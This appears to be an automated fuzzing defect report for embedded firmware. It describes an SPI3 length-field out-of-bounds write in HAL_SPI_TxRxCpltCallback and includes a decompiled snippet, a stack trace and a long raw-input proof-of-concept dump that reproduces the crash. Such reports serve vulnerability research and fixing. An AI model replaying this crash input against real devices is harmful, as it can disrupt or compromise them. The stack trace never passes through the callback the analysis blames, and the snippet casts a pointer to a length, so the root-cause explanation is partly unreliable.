
Defect Report

Defect ID: crash_0x4a6_0x80007cc_write_error_null
Analysis: 3f871304...
Exit Reason: Write to unmapped memory: 0x0
Total Occurrences: 431
Run: 1ec793b3
Generated: 8/3/2026, 4:44:27 PM

Defect Summary

Peripheral: SPI3

Classification: Out-of-bounds Write (CWE-787)

Potential Impact: Code execution, Crash/DoS

Summary: An unsanitized packet length field received over SPI3 causes an out-of-bounds memory copy in
HAL_SPI_TxRxCpltCallback, corrupting global memory structures and resulting in a system crash.

Root Cause Analysis

Detailed Analysis

In HAL_SPI_TxRxCpltCallback (0x800520c), the firmware handles completion of an SPI transfer by extracting a 16-bit
payload length from the header of the received packet buffer rx_pkt at 0x24001800 without checking its upper bound. The
function then calls memcpy to copy the payload into rx_pkt_userspace at 0x24002000 using this unsanitized length
parameter.

int32_t HAL_SPI_TxRxCpltCallback(SPI_HandleTypeDef* hspi) { // 0x800520c
    ...
    uint16_t length = (uint16_t)rx_pkt; // Unsanitized length from SPI3 packet header
    memcpy(rx_pkt_userspace, &rx_pkt[4], length); // Out-of-bounds write past 0x24002000
    ...
}

When an attacker supplies a large length field (such as 0x8000), memcpy writes far past the end of the destination buffer
at 0x24002000, zeroing out adjacent global variables and internal data structures in RAM including the standard stream
structure fp at 0x24006b7c. Subsequent calls to __sfputc_r dereference fp->_p (now 0x0), causing an invalid memory
write and system crash.

Stack Trace

0x0800fe26  LoopFillZerobss+0xc



0x0800289e  main+0xe
0x0800280a  peripheral_init+0x5a
0x08003654  adc_init+0x19c
0x080031e8  Error_Handler_Func+0x14
0x08000efe  iprintf+0x1e
0x08000a6e  _vfprintf_r+0x236
0x08000caa  _printf_i+0xa6
0x0800080c  __sfputs_r+0x20
0x080007cc  __sfputc_r+0x1c



Proof-of-Concept

Raw Input Data:

0x40003c00: ff 70 b2 0f 0f 0f 0f 0f 30 30 30 30
0x40003c04: 48 48 48 48
0x40003c08: f0 c9 62 43 d0 b8 d8 c6 78 1a a6 c2 29 cc 94 7a 5d c7 29 cc 94 7a 5d 29 20 20 20 20 20
20 20 20 78 1a 78 1a
0x40003c10: b6 b6 8d 54 ff ff ff 7f ff ff ff 7f 01 20 7f 0a
0x40003c14: fc fc fc fc 00 80 00 80
0x40003c18: 03 4a 55 2e 7a 76 7c 29 49 21 a4 f3 4a 55 2e 7a 76 7c 29 49
0x40003c30: 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00
80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80
00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00
80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80
00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00
80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80
00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00
80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80 00 80
0x40003c50: 7f 7f 7f 7f
0x40004400: ff ff ff ff ff ff ff ff ff 7f ff 7f ff 7f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ce c5 e9 f3
0x40004404: 51 07 24 a3 20 5c 42 ce
0x40004408: f5 16 52 f9 c2 03 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 18 18 04 04
0x4000441c: 01 01 01 01 01 01 01 01 01 01 77 45 e9 04 74 76 ad a2 d6 ec 74 74 74 74
0x4000442c: 10 00 20 0d
0x40020010: 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff ff ff ff ff ff
0x40020024: ff 7f ff 7f
0x40020028: ff ff ff ff 02 02 02 02 02 4d 4d 4d 4d 58 58 58 58 5f 5f 5f 5f 41 41 41 41 44 44 44 44
43 43 43
0x4002003c: d1 10 94 a3
0x40020800: 58 58 58
0x40020804: 08 c1 96
0x40022008: 04 04 04 04 04 04 04 04 04 ff ff 04 ff ff ff ff ff
0x52002000: 0a 10 04 04
0x580000e4: cb 0f 87 70
0x5800042c: 00 10 01 00 00
0x58004008: 00 00 00 00 00 00 00 00 00
0x5800400c: 48 48 48 48 41 41 41 41 4c 4c 4c 4c 5f 5f 5f 5f 41 41 41 41 44 44 44 44 43 43 43 43 5f
5f 5f 5f 49 49 49 49 6e 6e 6e 6e 69 69
0x5800404c: 9f 35 1a d6 7a 65 fc 1a
0x58020000: 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 80
0x58020004: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x58020008: 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80
0x5802000c: 69 cd 6b 98 98 56 db 89 7d 2b a7 b6 ea c1 be b4 f5 8a d7 94 db 24 30 53
0x58020024: 05 0c 7a 74 68 6e 22 05 29 fe 25 2d e5 4b 5d 5c 1c 8a 26 37
0x58020800: 12 da 33 86 a2 f5 3e dc e0 84 0f 04 7a 51 a2 f5 3e dc e0 84 0f 04 7a a2 f5 3e dc e0
0x58020804: 80 80 80 80 80 80 80 80 80 80 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
0x58020808: 0a 0a 0a 0a 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 0a 0a 0a 0a 80
0x5802080c: 5a 8c 70 f6 2e 2e 2e 2e 2e 2e 2e 2e 4d 4d 4d 4d 58 58 58 58 5f 5f 5f 5f 41 41 41 41
0x58020810: 02 02 02 02
0x58020820: ff ff ff ff ff ff 00 00
0x58020824: 4d 4d 4d 4d 58 58 58 58 5f 5f 5f 5f 41 41 41 41
0x58020c00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
0x58020c04: 10 00 10 00 10 10 10 10 10 10 10 10 10 10 10 10
0x58020c08: b0 72 69 aa 00 00 00 80 00 10 00 10 00 10 00 10
0x58020c0c: 25 25 25 25 73 73 73 73 3a 3a 3a 3a 20 20 20 20
0x58020c20: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
0x58021400: 25 fd ca a9
0x58021800: 7d 89 57 f7 17 23 1f 8a
0x58021804: 41 68 e9 f8 5c ff 6a 0f
0x58021808: 3a fe 47 b8 2e 85 05 02
0x5802180c: 3f b9 47 b8 28 6a 31 a3
0x58021820: 63 54 1d b7 46 8c b5 71
0x58024400: 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 19 56 31 f3 78 9e dc 9e 7f 7f 7f 7f 7f 7f
7f 7f 00 00 00 00 f3 78 9e dc 9e 7f 78 9e dc 9e 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 19 56



31 f3 78 9e dc 9e 7f 7f 7f 7f 7f 7f 7f 7f 00 00 00 00 f3 78 9e dc 9e 7f 9e 10 04 04
0x58024404: b8 0e e6 60
0x58024410: 80 80 00 48 48 48 48 41 41 41 41 4c 4c 4c 4c 5f 5f 5f 5f 41 41 41 41 44 44 44 44 43 43
20 20 20 20 20 20 20 20 20 20 20 20
0x58024418: 01 20 0a fc fc fc fc 09 09 09 09 09 09 09 09 09 09 09 19 b6 9f 86 1a d5 5d 24 67 ef
0x5802441c: 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80
0x58024420: f4 11
0x58024428: ff ff ff ff 01 ff ff 20 ff ff ff ff e3 6c 30 30 30 30 2e 2e 2e 2e 30 30 30 30 2e 2e 2e
2e 50 6f 72 74 65 6e 74 61
0x5802442c: 2e 2e 2e 2e 2e 04 2a 2a 2a 2a 00 00 a0 3b de 5c 89 69 3a 5c 89 5c 89 5c 89 5c 89 5c 89
5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 5c 89 3e fc 11 1f 2a
2a 2a 2a 2a 2a 2a 2a 04 2a 2a 2a 2a
0x58024430: ff ff ff
0x58024434: 7f 7f 7f 7f 7f 09 00 10
0x5802443c: 65 02 64 49 01 01 01 01
0x58024440: 4d 03 ce d9 de de da 88
0x58024444: 7f 7f
0x58024450: 10 00 10 00 00 00 00 00
0x58024454: a2 a0 4a 4e a2
0x58024458: 9f 08 dc 7f
0x58024470: 9c 00 10 20 20 00 00 10 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 61 00
79 97 ab bf 6c 62
0x580244d8: 01 ff 7f 10 00 00 00 00 7f 10 00 00 42 08 4d 35
0x580244dc: ff ff ff 7f ff ff ff 7f ff ff ff 7f ff ff ff 7f ff ff
0x580244e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 18 18 18 04 04 04 04 04 04 04 04 04
04 04 04 04 04 04 04 33 73 fd c9 b4 e5 6d b8 63 06 03 db e9 63 51 ed 72 53 8e 2f d2 f8 44 69 f6 fa
9e 99 da a2 de 99 18 48 df a5 d6 02 9e 87 e8 58 ae 4d b0 58 8d 16 4c d6 d6 2c 65 dd c9 b9 be 6d 50
08 d2 2e f6 69 3f 52 15 62 6e 6b ff 39 79 53 53 fa 48 48 48 48 41 41 41 41
0x580244e8: 56 0b 87 c9 25 25 25 25 c9 25 25 25 10 00 10 00
0x580244f0: 20 20 20 20 20 20 20 20
0x580244f4: b5 b5 d5 17 ff 44 a0 39
0x58024800: e8 d6 f7 60 bb df 01 28 ae 48 c9 06 7a 77 6d cf
0x5802480c: bf 27 26 9c 76
0x58024818: ff 7f ff 7f 7f 7f
0x5c001000: 20 ff ff ff 7f ee 9f 20 ff ff ff 20 ff ff ff
0xaaaaaaa0: 09 b9 00


